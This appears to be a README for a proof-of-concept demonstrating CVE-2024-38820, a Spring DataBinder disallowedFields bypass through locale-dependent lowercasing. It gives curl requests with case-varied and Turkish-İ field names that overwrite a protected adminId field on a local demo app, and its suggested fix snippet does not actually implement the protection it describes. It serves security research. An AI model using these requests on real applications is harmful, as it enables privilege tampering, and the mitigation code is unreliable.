
This project demonstrates CVE-2024-38820, a vulnerability in Spring Framework's DataBinder that allows bypassing disallowedFields protection due to locale-dependent case conversion issues.
String.toLowerCase() behavior varies by localeThe fix for CVE-2022-22968 made disallowedFields patterns case-insensitive by using String.toLowerCase(). However, this method has locale-dependent exceptions:
"ADMINID".toLowerCase() becomes "adminıd" (with dotless ı)"ADMINID".toLowerCase() becomes "adminid"This difference can allow attackers to bypass field protection by using specific case variations.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
The application will start on http://localhost:8081
Visit the test endpoint to see locale information:
http://localhost:8081/test
Try different field name variations:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
Run the comprehensive test script:
./test-cve-2024-38820.sh
adminId=999 → BLOCKED (normal case)ADMINID=999 → BYPASSED (uppercase)AdminId=999 → BYPASSED (mixed case)ADMİNID=999 → BYPASSED (Turkish İ)adminId=999 → BLOCKED (normal case)ADMINID=999 → BLOCKED (protected)AdminId=999 → BLOCKED (protected)Edit src/main/resources/application.properties:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
You can also set the JVM default locale:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder configures disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminId gets setThe application logs detailed information:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Use locale-aware field matching:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
Implement custom field validation that doesn't rely on locale-dependent operations.
This proof of concept is for educational and security research purposes only. Use responsibly and only on systems you own or have explicit permission to test.